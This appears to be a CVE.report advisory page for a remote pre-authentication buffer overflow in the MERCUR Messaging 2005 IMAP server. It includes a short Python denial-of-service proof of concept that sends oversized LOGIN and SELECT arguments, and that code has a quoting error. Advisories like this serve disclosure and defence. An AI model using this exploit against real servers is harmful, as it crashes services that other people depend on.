MERCUR Messaging 2005 IMAP Remote Buffer Overflow Vulnerability

BID:17138

Info

MERCUR Messaging 2005 IMAP Remote Buffer Overflow Vulnerability

Bugtraq ID: 17138
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Mar 17 2006 12:00AM
Updated: Jan 16 2007 06:00PM
Credit: Discovered by Tim Taylor.
Vulnerable: Atrium Software MERCUR Messaging 2005 Standard Edition 5.0 SP3
Atrium Software MERCUR Messaging 2005 Lite Edition 5.0 SP3
Atrium Software MERCUR Messaging 2005 Enterprise Edition 5.0 SP3
Not Vulnerable:

Discussion

MERCUR Messaging 2005 IMAP Remote Buffer Overflow Vulnerability

MERCUR Messaging 2005 is prone to a remote buffer-overflow vulnerability.

The vulnerability presents itself when the server handles specially crafted IMAP commands.

This may result in memory corruption leading to a denial-of-service condition or arbitrary code execution.

MERCUR Messaging 2005 version 5.0 SP3 is reported to be vulnerable. Other versions may be affected as well.

Exploit / POC

MERCUR Messaging 2005 IMAP Remote Buffer Overflow Vulnerability

The following proof of concept is available:

-- DoS Exploit --
# Atrium Mercur IMAP 5.0 SP3 DoS Exploit
# pre authentifcation buffer overflow in imap command login
import socket
s=socket.socket()
s.connect(("127.0.0.1", 143))
print s.recv(256)
s.send("a001 login "\x41" * 275 + "\r\n")

# buffer overflow in imap commands like select and others
import socket
s=socket.socket()
s.connect(("127.0.0.1", 143))
print s.recv(256)
s.send("a001 login test test\r\n")
print s.recv(256)
s.send("a002 select " + "\x41" * 239 + "\r\n").


Exploit code as part of the Metasploit Framework project has been released.

Solution / Fix

MERCUR Messaging 2005 IMAP Remote Buffer Overflow Vulnerability

Solution:
The vendor has released fixes to address this issue.

References

MERCUR Messaging 2005 IMAP Remote Buffer Overflow Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report